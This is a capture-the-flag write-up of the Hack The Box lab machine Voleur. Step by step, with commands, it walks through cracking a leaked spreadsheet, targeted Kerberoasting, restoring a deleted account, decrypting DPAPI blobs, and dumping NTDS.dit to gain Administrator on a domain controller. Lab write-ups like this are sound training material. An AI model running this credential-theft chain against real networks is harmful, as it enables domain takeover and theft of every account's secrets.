HACK THE BOX · PENETRATION TEST REPORT



VOLEUR

A Leaked Spreadsheet to Root — Kerberoasting, DPAPI and NTDS

★★☆☆ MEDIUM

7	0	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and the Spreadsheet

03 svc_ldap to svc_winrm (Targeted Kerberoasting)

04 Restoring the Leaver from Inside the DC

05 todd.wolfe to jeremy.combs (DPAPI)

06 jeremy.combs to svc_backup (SSH into WSL)

07 svc_backup to Root (NTDS Dump)

08 Chain Summary and Conclusions

01

Executive Summary

Voleur is a Medium-rated, Kerberos-only Active Directory machine. An encrypted spreadsheet in an SMB share is cracked to reveal a full credential and relationship map; `svc_ldap`'s `WriteSPN` enables targeted Kerberoasting of `svc_winrm` for a WinRM shell. From there a deleted leaver is restored from the AD Recycle Bin, DPAPI blobs in the archived profile recover the next user, an SSH key reaches `svc_backup` through a WSL subsystem on the DC, and backup privileges over `NTDS.dit` yield the Administrator hash.

Attack chain overview

1. Reconnaissance: NTLM disabled (Kerberos only); encrypted `Access_Review.xlsx` cracked.
2. `svc_ldap` has `WriteSPN` on `svc_winrm` → targeted Kerberoasting → WinRM (user flag).
3. `svc_ldap` (Restore_Users) restores the deleted `todd.wolfe` from inside the DC.
4. DPAPI blobs in Todd's archived profile → `jeremy.combs`.
5. Jeremy's share holds an SSH key for `svc_backup` → WSL on the DC (port 2222).
6. `svc_backup` backup privileges → `NTDS.dit` dump → Administrator hash → root.

02

Reconnaissance and the Spreadsheet

● Key observation

NTLM is globally disabled — every NTLM auth returns `STATUS_NOT_SUPPORTED`, so authenticate with Kerberos throughout and keep the clock in sync (VBoxService re-syncs time and breaks tickets; kill the offending PID rather than relying on `faketime`, which only intercepts `time()` and leaves GSSAPI flows broken).

The `IT` share holds a password-protected `Access_Review.xlsx`:

```
office2john Access_Review.xlsx > x.hash
john --wordlist=/usr/share/wordlists/rockyou.txt x.hash        # football1
msoffcrypto-tool Access_Review.xlsx dec.xlsx -p 'football1'
python3 -c "import openpyxl;wb=openpyxl.load_workbook('dec.xlsx');[print(r) for ws in wb for r in ws.iter_rows(values_only=True) if any(r)]"
```

```
('Todd.Wolfe','...','Remote Management Users','Leaver. Password reset to <REDACTED> and account deleted.')
('svc_ldap',None,'LDAP Services','P/W - <REDACTED>')
('svc_winrm',None,'Remote Management','Need to ask Lacey as she reset this recently.')
('svc_backup',' ','Windows Backup','Speak to Jeremy!')
```

● Key loot

A complete credential and relationship map. `svc_ldap` has a working password; `Todd.Wolfe` is a deleted account with a known password; `svc_backup` is in "Windows Backup" (the path to NTDS). This spreadsheet *is* the box plan.

03

svc_ldap to svc_winrm (Targeted Kerberoasting)

⚠ Vulnerability confirmed

`svc_ldap` is the sole member of a custom **Restore_Users** group and has **WriteSPN** on `svc_winrm`. Write access to a target's SPN enables targeted Kerberoasting — set a servicePrincipalName, request its ticket, and crack the RC4 TGS-REP offline, with no need for the account to already have an SPN:

```
targetedKerberoast.py -d voleur.htb -u svc_ldap -p '<REDACTED>' -k
john --wordlist=/usr/share/wordlists/rockyou.txt svc_winrm.hash
evil-winrm -i dc.voleur.htb -u svc_winrm -p '<REDACTED>' -r voleur.htb
type C:\Users\svc_winrm\Desktop\user.txt
```

USER FLAG

<REDACTED>

04

Restoring the Leaver from Inside the DC

Todd.Wolfe must be restored from the AD Recycle Bin. Doing it from Kali (`ldap3` / `bloodyAD`) failed repeatedly against this Kerberos-only DC — so run it from inside the `svc_winrm` WinRM session, passing svc_ldap's credentials to the AD cmdlets:

```
$cred = New-Object System.Management.Automation.PSCredential('voleur\svc_ldap',(ConvertTo-SecureString '<REDACTED>' -AsPlainText -Force))
Get-ADObject -Filter 'samAccountName -eq "Todd.Wolfe"' -IncludeDeletedObjects -Credential $cred | Restore-ADObject -Credential $cred
```

⚠ Pitfall

The restore only works with svc_ldap's rights (Restore_Users) executed in-domain; `-Credential` on the cmdlets succeeds where the external LDAP tooling's GSSAPI flow did not.

05

todd.wolfe to jeremy.combs (DPAPI)

Todd's archived profile is reachable over SMB and contains DPAPI blobs — a masterkey and a credential:

```
impacket-dpapi masterkey -file <masterkey> -password '<REDACTED-todd-pw>'
impacket-dpapi credential -file <credential> -key <decrypted-masterkey>
# -> jeremy.combs password
```

● Key observation

DPAPI-protected credentials in a user profile are decryptable with that user's password (which unlocks the masterkey). A leaver's archived profile is a credential store.

```
evil-winrm -i dc.voleur.htb -u jeremy.combs -p '<REDACTED>' -r voleur.htb
```

06

jeremy.combs to svc_backup (SSH into WSL)

Jeremy can read the "Third-Line Support" / Software folder, which holds an `id_rsa` for `svc_backup`. The DC runs a Linux/WSL subsystem on port 2222:

```
ssh -i svc_backup_id_rsa svc_backup@<TARGET_IP> -p 2222
```

07

svc_backup to Root (NTDS Dump)

⚠ Vulnerability confirmed

`svc_backup` holds Windows Backup privileges, and local backups of the directory database are present. `SeBackupPrivilege` can read `NTDS.dit` and the registry hives; `secretsdump` against them yields every domain hash, including Administrator:

```
impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# Administrator :: <REDACTED>
evil-winrm -i dc.voleur.htb -u Administrator -H <REDACTED> -r voleur.htb
type C:\Users\Administrator\Desktop\root.txt
```

ROOT FLAG

<REDACTED>

08

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Kerberos-only confirm; crack `.xlsx`	Credential map
2	User access	Targeted Kerberoasting (`WriteSPN`)	`svc_winrm` — user flag
3	AD recycle bin	In-domain `Restore-ADObject`	`todd.wolfe`
4	Lateral movement	DPAPI decrypt of archived profile	`jeremy.combs`
5	Lateral movement	SSH key → WSL on the DC	`svc_backup`
6	Privilege escalation	`SeBackupPrivilege` → NTDS dump	Administrator hash — root

Closing thoughts

Voleur is a chain the defender wrote for the attacker: the `Access_Review.xlsx` mapped every account, group and reset note, so the box was reading the file, not guessing. The two subtler lessons are that `WriteSPN` is targeted Kerberoasting (no pre-existing SPN needed), and that AD restores must run where the rights live — the tombstone restore failed from Kali but worked from inside the WinRM session with svc_ldap's `-Credential`.

Key takeaways

- Confirm the auth model before the tooling — `STATUS_NOT_SUPPORTED` means Kerberos only.
- A leaked spreadsheet is the whole plan.
- `WriteSPN` is targeted Kerberoasting — set an SPN, roast, crack.
- Run AD restores where the rights live — in-domain, with `-Credential`.
- Profiles and backups are credential stores — DPAPI blobs and `NTDS.dit`.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.